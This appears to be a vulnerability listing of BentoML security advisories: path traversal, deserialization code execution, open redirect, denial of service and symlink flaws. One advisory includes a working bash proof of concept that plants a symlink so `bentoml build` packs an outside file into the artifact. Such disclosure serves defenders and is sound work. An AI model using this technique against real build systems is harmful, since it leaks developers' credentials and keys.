Package Instance

BentoML has a Path Traversal via Bentofile Configuration
BentoML's `bentofile.yaml` configuration allows path traversal attacks through multiple file path fields (`description`, `docker.setup_script`, `docker.dockerfile_template`, `conda.environment_yml`). An attacker can craft a malicious bentofile that, when built by a victim, exfiltrates arbitrary files from the filesystem into the bento archive. This enables supply chain attacks where sensitive files (SSH keys, credentials, environment variables) are silently embedded in bentos and exposed when pushed to registries or deployed.

Insecure deserialization in BentoML
An insecure deserialization vulnerability exists in the BentoML framework, allowing remote code execution (RCE) by sending a specially crafted POST request. By exploiting this vulnerability, attackers can execute arbitrary commands on the server hosting the BentoML application. The vulnerability is triggered when a serialized object, crafted to execute OS commands upon deserialization, is sent to any valid BentoML endpoint. This issue poses a significant security risk, enabling attackers to compromise the server and potentially gain unauthorized access or control.

BentoML Open Redirect vulnerability
An open redirect vulnerability in bentoml/bentoml v1.3.9 allows a remote unauthenticated attacker to redirect users to arbitrary websites via a specially crafted URL. This can be exploited for phishing attacks, malware distribution, and credential theft.

BentoML vulnerable to Uncontrolled Resource Consumption
In bentoml/bentoml version 1.3.9, the `/login` endpoint of the newly integrated Gradio app is vulnerable to a Denial of Service (DoS) attack. This vulnerability can be exploited by appending characters, such as dashes (-), to the end of a multipart boundary in an HTTP request. The server continuously processes each character, leading to excessive resource consumption and rendering the service unavailable. The issue is unauthenticated and does not require any user interaction.

BentoML deserialization vulnerability
A deserialization vulnerability exists in BentoML's runner server in bentoml/bentoml versions <=1.3.4.post1. By setting specific parameters, an attacker can execute unauthorized arbitrary code on the server, causing severe harm. The vulnerability is triggered when the args-number parameter is greater than 1, leading to automatic deserialization and arbitrary code execution.

BentoML has Information Disclosure in `bentoml build` via symlink traversal in the build context
### Summary
BentoML's `bentoml build` packaging workflow follows attacker-controlled symlinks inside the build context and copies the referenced file contents into the generated Bento artifact.

If a victim builds an untrusted repository or other attacker-supplied build context, the attacker can place a symlink such as `loot.txt -> /tmp/outside-marker.txt` or a link to a more sensitive local file. When `bentoml build` runs, BentoML dereferences the symlink and packages the target file contents into the Bento. The leaked file can then propagate further through export, push, or containerization workflows.

### Details
The vulnerable code walks files under the build context and copies each matched entry into the Bento source directory:

```python
for root, _, files in os.walk(ctx_path):
    for f in files:
        dir_path = os.path.relpath(root, ctx_path)
        path = os.path.join(dir_path, f).replace(os.sep, "/")
        if specs.includes(path):
            src_file = ctx_path.joinpath(path)
            dst_file = target_fs.joinpath(dest_path)
            shutil.copy(src_file, dst_file)
```

There is no validation that the resolved path of `src_file` remains inside `ctx_path` before `shutil.copy` dereferences the source path. As a result, a repository-controlled symlink can cross the trust boundary from `attacker-controlled repository content` to `developer/CI host filesystem` during the build process.

This is a build-time path traversal / symlink traversal issue in the packaging feature, not a runtime API issue. The resulting Bento may later be exported, pushed to remote storage, or converted into a container image, which amplifies the leakage impact.

### PoC
The issue was verified in WSL against BentoML 1.4.38. The following script reproduces the vulnerability by using a harmless marker file outside the build directory.

```bash
mkdir -p /tmp/bento-symlink-poc
cd /tmp/bento-symlink-poc

printf 'BENTOML_SYMLINK_POC_123456\n' > /tmp/outside-marker.txt

cat > service.py <<'EOF'
import bentoml

@bentoml.service
class Demo:
    @bentoml.api
    def ping(self, x: str) -> str:
        return x
EOF

cat > bentofile.yaml <<'EOF'
service: "service:Demo"
include:
  - "service.py"
  - "loot.txt"
EOF

ln -s /tmp/outside-marker.txt loot.txt

bentoml build --output tag
bentoml export demo:7pilrpjtlomelwct /tmp/poc.zip

mkdir -p /tmp/poc-unzip
unzip -o /tmp/poc.zip -d /tmp/poc-unzip
find /tmp/poc-unzip -name loot.txt -print
cat /tmp/poc-unzip/**/src/loot.txt 2>/dev/null || \
find /tmp/poc-unzip -path '*/src/loot.txt' -exec cat {} \;
```

- The script creates `/tmp/outside-marker.txt` outside the build context as a stand-in for a sensitive local file.
- It creates a minimal BentoML service and explicitly includes `loot.txt` in `bentofile.yaml`.
- It creates `loot.txt` as a symlink to the external marker file.
<img width="1531" height="648" alt="image" src="https://github.com/user-attachments/assets/1312dcf0-74b0-4fb6-a05d-b68644470d82" />

- It runs `bentoml build`, exports the generated Bento, unzips it, and reads the packaged `src/loot.txt`.
- Successful exploitation is confirmed when the packaged file contains `BENTOML_SYMLINK_POC_123456`, proving that BentoML copied the external file contents rather than keeping only the symlink.
<img width="1315" height="121" alt="image" src="https://github.com/user-attachments/assets/6ed34f51-9b68-4fa9-8a42-011deb84d54e" />


<img width="1697" height="760" alt="image" src="https://github.com/user-attachments/assets/9b8a8ae5-4f06-46b4-9e4a-dee25cc5d203" />


### Impact
An attacker who can cause a developer, release engineer, or CI system to run `bentoml build` on an attacker-controlled repository can exfiltrate local files from the build host into the Bento artifact.

This can expose secrets such as cloud credentials, SSH keys, API tokens, environment files, or other sensitive local configuration. Because Bento artifacts are commonly exported, uploaded, stored, or containerized after build, the leaked file contents can spread beyond the original build machine.

BentoML Denial of Service (DoS) via Multipart Boundary
BentoML version v1.3.4post1 is vulnerable to a Denial of Service (DoS) attack. The vulnerability can be exploited by appending characters, such as dashes (-), to the end of a multipart boundary in an HTTP request. This causes the server to continuously process each character, leading to excessive resource consumption and rendering the service unavailable. The issue is unauthenticated and does not require any user interaction, impacting all users of the service.

BentoML Vulnerable to Arbitrary File Write via Symlink Path Traversal in Tar Extraction
The `safe_extract_tarfile()` function validates that each tar member's path is within the destination directory, but for symlink members it only validates the symlink's own path, **not the symlink's target**. An attacker can create a malicious bento/model tar file containing a symlink pointing outside the extraction directory, followed by a regular file that writes through the symlink, achieving arbitrary file write on the host filesystem.